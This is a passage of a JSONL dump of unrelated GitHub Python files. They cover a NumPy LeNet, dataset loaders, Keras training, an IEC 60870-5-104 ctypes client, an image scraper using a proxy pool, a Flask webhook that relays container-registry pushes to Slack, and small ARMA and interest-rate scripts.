stride=self._conv_stride,pad=self._conv_pad) + self._biases[1])\n \n self._x[3] = nn.maxpool(self._x[2],ksize=self._pool_ksize,\\\n stride=self._pool_stride,pad=self._pool_pad)\n \n self._x[4] = np.reshape(self._x[3],(-1,self._full_params[0]))\n \n self._x[5] = nn.relu(np.dot(self._x[4],self._weights[4]) + self._biases[4])\n \n self._x[6] = nn.softmax(np.dot(self._x[5],self._weights[5]) + self._biases[5])\n \n return self._x[6]\n \n def backforward(self,labels):\n m = labels.shape[0]\n \n self._delta[6] = self._x[6] - labels\n self._grad_weights[5] = np.dot(self._x[5].T,self._delta[6]) / m\n self._grad_biases[5] = np.sum(self._delta[6],axis=0) / m\n \n self._delta[5] = np.dot(self._delta[6],self._weights[5].T) * (self._x[5] > 0)\n self._grad_weights[4] = np.dot(self._x[4].T,self._delta[5]) / m\n self._grad_biases[4] = np.sum(self._delta[5],axis=0) / m\n \n self._delta[4] = np.dot(self._delta[5],self._weights[4].T)\n \n self._delta[4] = self._delta[4].reshape(self._x[3].shape[0],self._x[3].shape[1],\\\n self._x[3].shape[2],self._x[3].shape[3])\n \n stride = self._pool_stride\n N,H,W,C = self._x[3].shape\n self._delta[2] = np.zeros(self._x[2].shape)\n \n for n in range(N):\n for c in range(C):\n for h in range(H):\n for w in range(W):\n array = self._x[2][n,h*stride:h*stride+self._pool_ksize,\\\n w*stride:w*stride+self._pool_ksize,c]\n max_i = 0\n max_j = 0\n max_value = array[0,0]\n for i in range(self._pool_ksize):\n for j in range(self._pool_ksize):\n if array[i,j]>max_value:\n max_value = array[i,j]\n max_i = i\n max_j = j\n self._delta[2][n,h*stride+max_i,w*stride+max_j,c] \\\n = self._delta[4][n,h,w,c]\n self._delta[2] = self._delta[2] * (self._x[2] > 0)\n \n stride = self._conv_stride\n pad = self._conv_pad\n N,H,W,C = self._x[1].shape\n _,Ho,Wo,_ = self._delta[2].shape\n HH,WW,_,F = self._weights[1].shape\n \n H1 = H - HH + 2 * pad + 1\n W1 = W - WW + 2 * pad + 1\n delta_pad = np.zeros((N,H1,W1,F))\n for i in range(Ho):\n for j in range(Wo):\n delta_pad[:,i*stride,j*stride,:] = self._delta[2][:,i,j,:]\n \n x_pad = np.zeros((N,H+2*pad,W+2*pad,C))\n x_pad[:,pad:pad+H,pad:pad+W,:] = self._x[1]\n \n for f in range(F):\n for c in range(C):\n for h in range(HH):\n for w in range(WW):\n self._grad_weights[1][h,w,c,f] = np.sum(x_pad[:,h:h+H1,w:w+W1,c] *\\\n delta_pad[:,:,:,f],axis=(0,1,2))\n \n self._grad_weights[1] = self._grad_weights[1] / m\n self._grad_biases[1] = np.sum(self._delta[2],axis=(0,1,2)) / m\n \n def optimizer(self,labels,learning_rate):\n \n self.backforward(labels)\n # update\n if self._optimizer == 'normal':\n self._weights[1] = self._weights[1] - learning_rate * self._grad_weights[1]\n self._biases[1] = self._biases[1] - learning_rate * self._grad_biases[1]\n \n self._weights[4] = self._weights[4] - learning_rate * self._grad_weights[4]\n self._biases[4] = self._biases[4] - learning_rate * self._grad_biases[4]\n \n self._weights[5] = self._weights[5] - learning_rate * self._grad_weights[5]\n self._biases[5] = self._biases[5] - learning_rate * self._grad_biases[5]\n elif self._optimizer == 'Momentum':\n self._v_weights[1] = 0.1 * self._v_weights[1] - learning_rate * self._grad_weights[1]\n self._v_biases[1] = 0.1 * self._v_biases[1] - learning_rate * self._grad_biases[1]\n self._v_weights[4] = 0.1 * self._v_weights[4] - learning_rate * self._grad_weights[4]\n self._v_biases[4] = 0.1 * self._v_biases[4] - learning_rate * self._grad_biases[4]\n self._v_weights[5] = 0.1 * self._v_weights[5] - learning_rate * self._grad_weights[5]\n self._v_biases[5] = 0.1 * self._v_biases[5] - learning_rate * self._grad_biases[5]\n \n self._weights[1] = self._weights[1] + self._v_weights[1]\n self._biases[1] = self._biases[1] + self._v_biases[1]\n self._weights[4] = self._weights[4] + self._v_weights[4]\n self._biases[4] = self._biases[4] + self._v_biases[4]\n self._weights[5] = self._weights[5] + self._v_weights[5]\n self._biases[5] = self._biases[5] + self._v_biases[5]\n else:\n raise ValueError('The %s optimization method is non-existenct !'%self._optimizer)\n \n def predict(self,x):\n x = np.reshape(x,(-1,self._input_height,self._input_width,self._input_channels))\n logits = self.forward(x)\n y_predict = np.argmax(logits,axis=1)\n return y_predict\n \n def calc_loss(self,logits,labels):\n loss = nn.cross_entropy(logits,labels)\n return loss\n \n def calc_accuracy(self,logits,labels):\n y_predict = np.argmax(logits,axis=1)\n y = np.argmax(labels,axis=1)\n num_correct = np.equal(y_predict,y).sum()\n accuracy = num_correct / labels.shape[0]\n return accuracy\n \n ","repo_name":"insightcs/DIY_DeepLearning","sub_path":"mnist/lenet.py","file_name":"lenet.py","file_ext":"py","file_size_in_byte":9076,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"6640030467","text":"import re\nimport sys\nimport math\nimport ujson\nimport torch\nimport ujson\nimport jieba\nimport pickle\nimport os\nfrom multiprocessing import Pool\nsys.path.append(\"..\")\nimport jieba.posseg as pseg\nimport torch.utils.data as data\n\nfrom multiprocessing.dummy import Pool as ThreadPool\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nfrom utils.vocab import VocabDict\n\nVALID = \"./mrc_data/newvaild.json\"\nTRAIN = \"./mrc_data/newtrain.json\"\nTRAINkpl = \"train.pkl\"\nVALIDkpl = \"valid.pkl\"\nVOCAB = VocabDict()\n\n\n\n\ndef is_valid_data(x):\n if len(x['passage']) > 500:\n return False\n al = list(filter(lambda c: len(c.strip()) > 0, str(x['alternatives']).split(\"|\")))\n al = list(map(lambda c: c.strip(), al))\n if len(al) < 3 or x['answer'].strip() not in al:\n return False\n else:\n return True\n\n\ndef parse_function(x):\n passage, query, answer, al = x[\"passage\"].strip(), x[\"query\"].strip(), x[\"answer\"].strip(), x[\"alternatives\"]\n passage = list(map(lambda w: w.word, pseg.cut(passage)))\n query = list(map(lambda w: w.word, pseg.cut(query)))\n al = list(map(lambda x:x.strip(),al.split(\"|\")))\n answer_id = al.index(answer)\n return VOCAB.convert2idx(passage), VOCAB.convert2idx(query), answer_id\n\n\ndef gen(filename):\n with open(filename, 'r', encoding='utf-8')as f:\n jf = list(ujson.load(f))\n jf = list(filter(is_valid_data, jf))\n pool = Pool(4)\n jf = list(pool.map(parse_function, jf))\n pool.close()\n pool.join()\n if filename is TRAIN:pickle.dump(jf, open(TRAINkpl, \"wb\"))\n else:pickle.dump(jf, open(VALIDkpl, \"wb\"))\n return jf\n\nclass Dataset922(data.Dataset):\n def shuffle(self):\n self.items = [self.items[i] for i in torch.randperm(len(self.items))]\n\n def __init__(self, is_trainset,batch_size=64):\n if is_trainset:\n if os.path.exists(TRAINkpl):self.items = pickle.load(open(TRAINkpl,\"rb\"))\n else: self.items= gen(TRAIN)\n\n else:\n if os.path.exists(VALIDkpl):self.items = pickle.load(open(VALIDkpl, \"rb\"))\n else: self.items= gen(VALID)\n\n\n self.batch_size = batch_size\n @staticmethod\n def _pad(raw_data, feature=False):\n lengths = [len(x) for x in raw_data]\n max_length = max(lengths)\n pad_data = torch.zeros(len(raw_data), max_length)\n for i in range(len(raw_data)):\n data_length = lengths[i]\n pad_data[i].narrow(0, 0, data_length).copy_(torch.Tensor(raw_data[i]))\n if feature is True:\n return pad_data.float().to(device), torch.Tensor(lengths).float().to(device)\n else:\n return pad_data.long(), torch.Tensor(lengths).long()\n\n @staticmethod\n def _mask(seq_lens):\n mask = torch.zeros(len(seq_lens), torch.max(seq_lens))\n for i, seq_len in enumerate(seq_lens):\n mask[i][:seq_len] = 1\n return mask.float().to(device)\n\n def __getitem__(self, index):\n batch_items = self.items[index*self.batch_size:(index+1)*self.batch_size]\n docs, qrys, aws = [], [], []\n for d, q, a in batch_items:\n docs.append(d)\n qrys.append(q)\n aws.append(a)\n doc_pad, doc_lens = self._pad(docs)\n qry_pad, qry_lens = self._pad(qrys)\n doc_mask = self._mask(doc_lens)\n qry_mask = self._mask(qry_lens)\n aws = torch.Tensor(aws).long().to(device)\n return doc_pad, doc_lens, doc_mask, qry_pad, qry_lens, qry_mask, aws\n\n def __len__(self):\n return math.ceil(len(self.items) / self.batch_size)\n\nif __name__ == '__main__':\n\n data = Dataset922(is_trainset=False)\n print(data[1])\n # print(os.path.exists(VALIDkpl))","repo_name":"gzci/yuyao_mmr","sub_path":"utils/dataset922.py","file_name":"dataset922.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5651866952","text":"\"\"\"\n10. Create a python file named shipping_address\n Ask the user to enter the following info, and display the shipping address of the user:\n 1. \"Enter your full name\"\n 2. \"Enter your building number\"\n 3. \"Enter your street name\"\n 4. \"Enter your city name\"\n 5. \"Enter your state name\"\n 6. \"enter your zip code\"\n\n Given data:\n name = \"Aaron Kissinger\"\n building_number = 13621A\n street_name = \"Legacy Circle\"\n city = \"Fairfax\"\n state = \"VA\"\n zip_code = 22030\n\n Output:\n Your shipping addrrees is:\n Aaron Kissinger\n 13621A Legacy Circle\n Fairfax, VA 22030\n\"\"\"\nname = str(input(\"Enter your full name: \\n\"))\nbuilding_number = str(input(\"Enter your building name: \\n\"))\nstreet_name = str(input(\"Enter your street name: \\n\"))\ncity = str(input(\"Enter your city name: \\n\"))\nstate = str(input(\"Enter your state name: \\n\"))\nzip_code = int(input(\"Enter your zipcode: \\n\"))\n\nprint(\"Your shipping address is:\\n\", name, \"\\n\", building_number, street_name, \"\\n\", city, \",\", state, zip_code)\n","repo_name":"ghalipm/PracticePython","sub_path":"day01/day1_tasks01/shipping_address_02.py","file_name":"shipping_address_02.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41453641940","text":"import numpy as np\n\nfrom matplotlib import pyplot\n\nfrom keras.callbacks import EarlyStopping\nfrom keras.callbacks import ModelCheckpoint\nfrom keras import backend as K\n\nimport fiducial_dataset\nimport model_tools\n\ndef BG_train(results_dir, model_id, batch_size, epochs, optimizer, data_path, epochs_patience):\n \n fiducial = fiducial_dataset.fiducial_dataset(data_path)\n\n model_saver = ModelCheckpoint(\n results_dir+'BG_'+str(model_id)+'.h5py', \n monitor='val_loss', \n verbose=0, \n save_best_only=True, \n save_weights_only=False, \n mode='min', \n period=1)\n \n early_stopping = EarlyStopping(monitor='loss', mode='min', verbose=1, patience=epochs_patience)\n\n callbacks_list = [model_saver, early_stopping]\n\n X_train=np.concatenate((fiducial.X_train,fiducial.X_noise))\n tmp_mnist = np.append(fiducial.Y_train,np.zeros((fiducial.Y_train.shape[0],1)),1)\n tmp_neg = np.zeros((fiducial.X_noise.shape[0],fiducial.num_classes+1))\n tmp_neg[:,-1]=1\n Y_train=np.concatenate((tmp_mnist,tmp_neg))\n\n model=model_tools.LeNet_Extended_3D(background_class=True)\n \n model.compile(\n optimizer=optimizer,\n loss={'softmax': 'categorical_crossentropy'},\n metrics=['categorical_accuracy'])\n \n history=model.fit(\n x=[X_train],\n y=[Y_train],\n validation_data=[fiducial.X_val,np.append(fiducial.Y_val,np.zeros((fiducial.Y_val.shape[0],1)),1)],\n batch_size=batch_size,\n epochs=epochs,\n verbose=1, \n callbacks=callbacks_list)\n \n approach = 'Background'\n lrate = K.eval(model.optimizer.lr)\n pyplot.plot(history.history['categorical_accuracy'], label='train')\n pyplot.plot(history.history['val_categorical_accuracy'], label='test')\n pyplot.title(approach + ' lrate='+str(lrate), pad=-50)\n pyplot.show()","repo_name":"mregodic/FiducialMarkers","sub_path":"fiducial_classification/training_background.py","file_name":"training_background.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"27189548412","text":"import time\n\n\nclass Utilidades:\n\n @staticmethod\n def es_numerico(retiro):\n try:\n int(retiro)\n retiro = int(retiro)\n return retiro\n except ValueError:\n print(\"Ups!! No es una opcion (ง '̀-'́)ง\")\n time.sleep(1)\n print(\"Sigue inentando ¯\\_(⊙︿⊙)_/¯\")\n","repo_name":"AlbertUSCO/reto-sofka-2022","sub_path":"src/utilidades.py","file_name":"utilidades.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15941348463","text":"# -*- coding: utf-8 -*-\n#\n# @reference:\n# https://api.slack.com/incoming-webhooks\n# https://api.slack.com/tools/block-kit-builder\n# https://yq.aliyun.com/articles/64921\n#\n\"\"\"\n{\n \"push_data\": {\n \"digest\": \"sha256:14bf0c9f45293f4783bd75e51ea68689103k89da6e51db75ef30b8564fe8d3cc\",\n \"pushed_at\": \"2019-08-03 15:02:58\",\n \"tag\": \"latest\"\n },\n \"repository\": {\n \"date_created\": \"2019-08-03 12:37:44\",\n \"name\": \"webhook-acr\",\n \"namespace\": \"icmdb\",\n \"region\": \"cn-hongkong\",\n \"repo_authentication_type\": \"NO_CERTIFIED\",\n \"repo_full_name\": \"icmdb/webhook-acr\",\n \"repo_origin_type\": \"NO_CERTIFIED\",\n \"repo_type\": \"PUBLIC\"\n }\n}\n\"\"\"\n\nimport os\nimport sys\nimport json\nimport base64\nimport logging\nfrom logging.config import dictConfig\n\nimport requests\nfrom flask import Flask, request\n\n\nAPP_ADDR = os.getenv(\"APP_ADDR\", '0.0.0.0')\nAPP_PORT = os.getenv(\"APP_PORT\", 8888)\nAPP_DEBUG = os.getenv(\"APP_DEBUG\", True)\n\n\ndictConfig({\n 'version': 1,\n 'formatters': {'default': {\n 'format': '[%(asctime)s] %(levelname)s in %(module)s: %(message)s',\n }},\n 'handlers': {'wsgi': {\n 'class': 'logging.StreamHandler',\n 'stream': 'ext://flask.logging.wsgi_errors_stream',\n 'formatter': 'default'\n }},\n 'root': {\n 'level': 'INFO',\n 'handlers': ['wsgi']\n }\n})\n\n\napp = Flask(__name__)\n\n\n@app.route(\"/debug\", methods=[\"GET\"])\ndef test():\n with open(\"debug.html\", \"r\") as f:\n content = f.read()\n f.close()\n return content\n\n\n@app.route('/ali/csr/webhook', methods=['POST', 'GET'])\ndef ali_csr_webook():\n payload = {\n \"channel\": u\"#ops-builds\",\n \"username\": u\"阿里云容器镜像服务\",\n \"icon_url\": u\"https://ucc.alicdn.com/pic/developer-ecology/26b911901cd242e48512b1790c306175.png\",\n \"attachments\": [\n {\n \"fallback\": \"Image [] pushed sucessfully!\",\n \"pretext\": \"Image [] pushed sucessfully!\",\n \"color\": \"#D00000\",\n \"fields\": [\n {\n \"title\":\"image: NAMESPACE/PROJECT\",\n \"value\":\"region: REGION\\n tag: TAG\\n at: PUSH_AT\",\n \"short\": \"false\"\n }\n ]\n }\n ]\n }\n\n if request.method == \"POST\":\n req_args = request.args.to_dict()\n req_data = request.get_data()\n req_json = json.loads(req_data)\n if APP_DEBUG == True:\n print(\"%s\" % (req_json))\n\n region = req_json[\"repository\"][\"region\"]\n namespace = req_json[\"repository\"][\"namespace\"]\n registry = req_json[\"repository\"][\"name\"]\n tag = req_json[\"push_data\"][\"tag\"]\n pushed_at = req_json[\"push_data\"][\"pushed_at\"]\n repo_type = req_json[\"repository\"][\"repo_type\"]\n image = \"/\".join([namespace, registry])\n info = \"Image [] pushed sucessfully!\" % (region, image, image)\n\n payload[\"attachments\"][0][\"fallback\"] = info\n payload[\"attachments\"][0][\"pretext\"] = info\n payload[\"attachments\"][0][\"fields\"][0][\"title\"] = \"image: %s\" % (image)\n payload[\"attachments\"][0][\"fields\"][0][\"value\"] = \"\\n\".join([\n \"*pushed_at*: _%s_\" % (pushed_at),\n \"*region*: _%s_\" % (region),\n \"*type*: _%s_\" % (repo_type.lower()),\n \"*tag*: _%s_\" % (tag),\n ])\n headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n slack_incoming_url = \"\"\n\n if \"slackin\" in req_args.keys():\n slack_incoming_url = base64.b64decode(req_args[\"slackin\"])\n if \"channel\" in req_args.keys():\n payload[\"channel\"] = '#' + req_args[\"channel\"]\n\n if APP_DEBUG == True:\n print(\"slack_incoming_url: %s | payload:%s | headers:%s\" % (slack_incoming_url, json.dumps(payload), headers))\n print(\"curl -X POST --data-urlencode 'payload=%s' %s\" % (json.dumps(payload), slack_incoming_url))\n\n r = requests.post(slack_incoming_url, data=json.dumps(payload), headers=headers)\n if r.ok == False:\n app.logger.error(\"slack_incoming failed.\")\n with open(\"debug.html\", \"w\") as f:\n f.write(r.content)\n f.close()\n return '{\"status\": \"error\"}'\n return '{\"status\": \"ok\"}'\n return '{\"status\": \"ok\"}'\n\n\nif __name__ == '__main__':\n #handler = logging.FileHandler(\"flask.log\")\n #app.logger.addHandler(handler)\n app.run(host=APP_ADDR, port=APP_PORT, debug=APP_DEBUG)\n","repo_name":"icmdb/aliyun","sub_path":"csr/webhook.py","file_name":"webhook.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36230041315","text":"x0 = 100 # initial amount\np = 5 # interest rate\nN = 4 # number of years\n\noutfile = open('growth_rate.txt', 'w')\n\n\n# Compute solution\nxold = x0\ncounter = 1\nwhile counter <= N:\n\txnew = xold + (p/100.0)*xold\n\txold = xnew\n\toutfile.write('The amount is %.6f' %xnew + '\\n')\n\tcounter += 1\n\noutfile.close()\n\n\n# Kjoreeksempel\n\"\"\"\n\n\"\"\" \n","repo_name":"Kjernlie/INF1100","sub_path":"growth_years_efiicient.py","file_name":"growth_years_efiicient.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"33535890556","text":"#程序文件Pex18_5_1.py\r\nimport pandas as pd, numpy as np\r\nimport statsmodels.api as sm\r\nimport matplotlib.pyplot as plt\r\nplt.rc('font',family='SimHei'); plt.rc('font',size=16)\r\nd=pd.read_csv('sunspots.csv',usecols=['counts'])\r\nmd=sm.tsa.ARMA(d,(9,1)).fit()\r\nyears=np.arange(1700,1989) #已知观测值的年代\r\ndhat=md.predict()\r\nplt.plot(years[-20:],d.values[-20:],'o-k')\r\nplt.plot(years[-20:],dhat.values[-20:],'P--')\r\nplt.legend(('原始观测值','预测值')); plt.show()\r\ndnext=md.predict(d.shape[0],d.shape[0])\r\nprint(dnext) #显示下一期的预测值\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"liyiliuxingyu/Python-MEM-PD","sub_path":"18第18章 时间序列分析/Pex18_5_1.py","file_name":"Pex18_5_1.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"82"} +{"seq_id":"24033896047","text":"from ctypes import util, CDLL, CFUNCTYPE, POINTER, c_void_p, c_char_p\nfrom ctypes import c_bool, c_int\n# import ctypes.util\n# import ctypes\nprint(util.find_library('iec60870'))\niec60870 = CDLL('/usr/local/lib/libiec60870.so')\n\n\n# ASDU_getTypeID\niec60870.ASDU_getTypeID.argtypes = [c_void_p]\niec60870.ASDU_getTypeID.restype = c_void_p\n\n\n# ASDU_getNumberOfElements\niec60870.ASDU_getNumberOfElements.argtypes = [c_void_p]\niec60870.ASDU_getNumberOfElements.restype = c_int\n\n# TypeID_toString\niec60870.TypeID_toString.argtypes = [c_void_p]\niec60870.TypeID_toString.restype = c_char_p\n\n# ASDU_getElement\niec60870.ASDU_getElement.argtypes = [c_void_p, c_int]\niec60870.ASDU_getElement.restype = c_void_p\n\n# InformationObject_getObjectAddress\niec60870.InformationObject_getObjectAddress.argtypes = [c_void_p]\niec60870.InformationObject_getObjectAddress.restype = c_int\n\n# SinglePointInformation_getValue\niec60870.SinglePointInformation_getValue.argtypes = [c_void_p]\niec60870.SinglePointInformation_getValue.restype = c_bool\n\n# SinglePointInformation_destroy\niec60870.SinglePointInformation_destroy.argtypes = [c_void_p]\n\n\ndef connectionHandler(parameter, con, event):\n if int(event) == 0:\n print(str(event), \"Connection established\")\n elif int(event) == 1:\n print(str(event), \"Connection closed\")\n elif int(event) == 2:\n print(str(event), \"Connection startDT CON RECEIVED\")\n elif int(event) == 3:\n print(str(event), \"Connection stopDT CON RECEIVED\")\n\n\ndef asduReceivedHandler(parameter, asdu):\n print(\"In Asdu Handler\", iec60870.ASDU_getNumberOfElements(asdu))\n # print(\"Numbers of Elements:\", iec60870.ASDU_getNumberOfElements(asdu))\n # print(\"Type ID:\", iec60870.ASDU_getTypeID(asdu))\n # print(\"String ID:\", iec60870.TypeID_toString(iec60870.ASDU_getTypeID(asdu)))\n asduType = iec60870.TypeID_toString(iec60870.ASDU_getTypeID(asdu))\n asduType = asduType.decode(\"utf-8\")\n if asduType == 'M_SP_NA_1':\n for el in range(iec60870.ASDU_getNumberOfElements(asdu)):\n io = iec60870.ASDU_getElement(asdu, int(el))\n ioa = iec60870.InformationObject_getObjectAddress(io)\n value = iec60870.SinglePointInformation_getValue(io)\n print(ioa, value)\n iec60870.SinglePointInformation_destroy(io)\n # io = iec60870.ASDU_getElement(asdu, c_int(0))\n # print(\"Object Address\", iec60870.InformationObject_getObjectAddress(io), io)\n # print(iec60870.SinglePointInformation_getValue(io))\n\n\n# asduConnectionHandler Proto:\nasduReceivedHandlerProto = CFUNCTYPE(c_bool, POINTER(c_void_p), POINTER(c_void_p))\nasduHandler = asduReceivedHandlerProto(asduReceivedHandler)\n\n# T104Connection_setASDUReceivedHandler ini\niec60870.T104Connection_setASDUReceivedHandler.argtypes = [c_void_p, asduReceivedHandlerProto, c_int]\n\n# T104Connection_create init\niec60870.T104Connection_create.argtypes = [c_char_p, c_int]\niec60870.T104Connection_create.restype = c_void_p\n\n\n# T104Connection_destroy init\niec60870.T104Connection_destroy.argtypes = [c_void_p]\n\n# Thread_sleep init:\niec60870.Thread_sleep.argtypes = [c_int]\n\n# connectionHandler Proto:\nconHandlerProto = CFUNCTYPE(c_void_p, POINTER(c_void_p), POINTER(c_void_p), c_int)\nhandler = conHandlerProto(connectionHandler)\n\n# T104Connection_sendStartDT\niec60870.T104Connection_sendStartDT.argtypes = [c_void_p]\n\n# T104Connection_sendStopDT\niec60870.T104Connection_sendStopDT.argtypes = [c_void_p]\n\n# T104Connection_setConnectionHandler ini\niec60870.T104Connection_setConnectionHandler.argtypes = [c_void_p, conHandlerProto, c_int]\n\n# T104Connection_sendInterrogationCommand init\niec60870.T104Connection_sendInterrogationCommand.argtypes = [c_void_p, c_int, c_int, c_int]\niec60870.T104Connection_sendInterrogationCommand.restype = c_bool\n\n# T104Connection_sendReadCommand\niec60870.T104Connection_sendReadCommand.argtypes = [c_void_p, c_int, c_int]\niec60870.T104Connection_sendReadCommand.restype = c_bool\n\n# T104Connection_sendTestCommand\niec60870.T104Connection_sendTestCommand.argtypes = [c_void_p, c_int]\niec60870.T104Connection_sendTestCommand.restype = c_bool\n\n\ncon = iec60870.T104Connection_create(b'10.151.42.71', 2404)\n# iec60870.T104Connection_setConnectionHandler(con, handler, c_int())\n# iec60870.T104Connection_setASDUReceivedHandler(con, asduHandler, c_int())\nisConnect = iec60870.T104Connection_connect(con)\nprint(isConnect)\nif isConnect:\n iec60870.T104Connection_sendStartDT(con)\n iec60870.Thread_sleep(c_int(3000))\n input(\"Waiting... \")\n# iec60870.T104Connection_sendInterrogationCommand(con, 6, 2, 20)\n# iec60870.T104Connection_sendReadCommand(con, 1, 66)\n# iec60870.T104Connection_sendTestCommand(con, 1)\n# iec60870.Thread_sleep(4000)\niec60870.T104Connection_sendStopDT(con)\niec60870.T104Connection_destroy(con)\n","repo_name":"Bubkagob/client104","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4770,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"22493125827","text":"import os\r\nfrom concurrent.futures import ThreadPoolExecutor\r\n\r\nimport requests\r\nfrom requests_html import HTMLSession\r\n\r\nimport common\r\n\r\nsession = HTMLSession()\r\npages = session.get(\"https://www.mzitu.com/all/\")\r\nthreadpool = ThreadPoolExecutor(max_workers=10)\r\n\r\n\r\nclass Meizutu():\r\n\r\n # @pysnooper.snoop('log/log.log')\r\n def parse(self):\r\n url_list_new = pages.html.xpath(\"/html/body/div[2]/div[1]/div[2]//a[@href]\")[1:] # 分类中比较新的\r\n url_list_old = pages.html.xpath(\"/html/body/div[2]/div[1]/div[2]//a[@href]\")[0]\r\n for i in url_list_new:\r\n url = i.attrs['href']\r\n title = i.text\r\n url_md5 = common.md_url(url)\r\n flag = common.exist_or_not(url_md5)\r\n if flag:\r\n self.mkdir(title, url)\r\n\r\n def mkdir(self, title, url):\r\n base_dir = 'G:\\meizi' # 存放的文件夹\r\n img_dir = os.path.join(base_dir, title) # 套图的路径\r\n if not os.path.exists(img_dir):\r\n os.mkdir(img_dir) # 创建套图文件夹\r\n self.parse_page(img_dir, url)\r\n\r\n def parse_page(self, img_dir, url):\r\n page = session.get(url) # 获取详情也\r\n\r\n try:\r\n max_url = page.html.xpath('/html/body/div[2]/div[1]/div[4]/a[5]') # 获取最大的图片张数\r\n max_page = max_url[0].full_text\r\n for i in range(1, int(max_page) + 1):\r\n img_page = url + '/' + str(i)\r\n page_d5 = common.md_url(img_page)\r\n not_exist = common.exist_or_not(page_d5)\r\n if not_exist:\r\n self.save_img(img_page, img_dir)\r\n print(img_dir)\r\n print(img_page)\r\n except Exception as e:\r\n print(e)\r\n\r\n @staticmethod\r\n def get_proxy():\r\n return requests.get(\"http://127.0.0.1:5010/get/\").text\r\n\r\n def delete_proxy(self, proxy):\r\n requests.get(\"http://127.0.0.1:5010/delete/?proxy={}\".format(proxy))\r\n\r\n # your spider code\r\n\r\n def save_img(self, img_page, img_dir):\r\n retry_count = 5\r\n proxy = self.get_proxy()\r\n while retry_count > 0:\r\n try:\r\n page = session.get(img_page)\r\n img_link = page.html.xpath('/html/body/div[2]/div[1]/div[3]/p/a/img/@src')[0]\r\n img_bytes = requests.get(img_link, headers=common.get_ua(), proxies={\"http\": \"http://{}\".format(proxy)})\r\n img = img_bytes.content\r\n img_names = str(img_link).rsplit('/')[-1]\r\n file_name = os.path.join(img_dir, img_names)\r\n if file_name:\r\n with open(file_name, 'wb') as f:\r\n f.write(img)\r\n except Exception as e:\r\n retry_count -= 1\r\n\r\n # 出错5次, 删除代理池中代理\r\n self.delete_proxy(proxy)\r\n return None\r\n\r\n\r\nif __name__ == '__main__':\r\n meizi = Meizutu()\r\n meizi.parse()\r\n threadpool.submit(meizi.parse)\r\n","repo_name":"KingJem/mzitu_crawler","sub_path":"mzitu_crawl/mzitu_proxy.py","file_name":"mzitu_proxy.py","file_ext":"py","file_size_in_byte":3016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73955614987","text":"import scrapy\nimport re\n\nfrom dataPipelines.gc_scrapy.gc_scrapy.items import DocItem\nfrom dataPipelines.gc_scrapy.gc_scrapy.GCSpider import GCSpider\n\nfrom urllib.parse import urljoin, urlparse\nfrom datetime import datetime\nfrom dataPipelines.gc_scrapy.gc_scrapy.utils import dict_to_sha256_hex_digest, get_pub_date\n\n\ngeneral_num_re = re.compile(\n r\"(? None:\n doc_num = \"\"\n try:\n doc_type_num_raw = raw_data.get('doc_type_num_raw')\n doc_name_groups = re.search(general_num_re, doc_type_num_raw)\n\n if doc_name_groups:\n doc_num = doc_name_groups.group(1)\n except:\n pass\n finally:\n raw_data['doc_num'] = doc_num\n\n\ndef set_no_num(raw_data: dict) -> None:\n raw_data['doc_num'] = \"\"\n\n\ndef set_type_using_num(raw_data: dict) -> None:\n doc_type_num_raw = raw_data.get('doc_type_num_raw')\n doc_num = raw_data.get('doc_num')\n if doc_num:\n doc_type, *_ = doc_type_num_raw.partition(doc_num)\n raw_data['doc_type'] = doc_type.strip()\n else:\n use_raw_type(raw_data)\n\n\ndef use_raw_type(raw_data: dict) -> None:\n raw_data['doc_type'] = raw_data.get('doc_type_raw')\n\n\ndef name_from_type_and_num(raw_data: dict) -> None:\n raw_data['doc_name'] = raw_data['doc_type'] + ' ' + raw_data['doc_num']\n\n\ndef name_from_type_and_num_no_space(raw_data: dict) -> None:\n raw_data['doc_name'] = raw_data['doc_type'] + raw_data['doc_num']\n\n\ndef name_from_type_and_num_with_dash(raw_data: dict) -> None:\n raw_data['doc_name'] = raw_data['doc_type'] + '-' + raw_data['doc_num']\n\n\ndef name_from_doc_type_num_raw(raw_data: dict) -> None:\n raw_data['doc_name'] = raw_data['doc_type_num_raw']\n\n\ndef name_from_title(raw_data: dict) -> None:\n if raw_data['doc_title_raw']:\n raw_data['doc_name'] = raw_data['doc_title_raw']\n else:\n name_from_doc_type_num_raw(raw_data)\n\n\ndef name_from_type_title(raw_data: dict) -> None:\n raw_data['doc_name'] = raw_data['doc_type_raw'] + \\\n \": \" + raw_data['doc_title_raw']\n\n\ndef set_all_transformations(raw_data: dict, transform_dict: dict) -> None:\n set_num_func = transform_dict.get(\n \"set_num_func\")\n set_type_func = transform_dict.get(\n \"set_type_func\")\n set_doc_name_func = transform_dict.get(\n \"set_doc_name_func\")\n\n set_num_func(raw_data)\n set_type_func(raw_data)\n set_doc_name_func(raw_data)\n\n\ndcg_re = re.compile(r'DCG (VOL \\d* PGS \\d*\\-\\d*)')\n\n\ndef legal_pubs_set_num(raw_data: dict) -> None:\n raw_data['doc_num'] = \"\"\n if 'DCG VOL' in raw_data['doc_type_num_raw']:\n groups = re.search(dcg_re, raw_data['doc_type_num_raw'])\n if groups:\n raw_data['doc_num'] = groups.group(1)\n elif 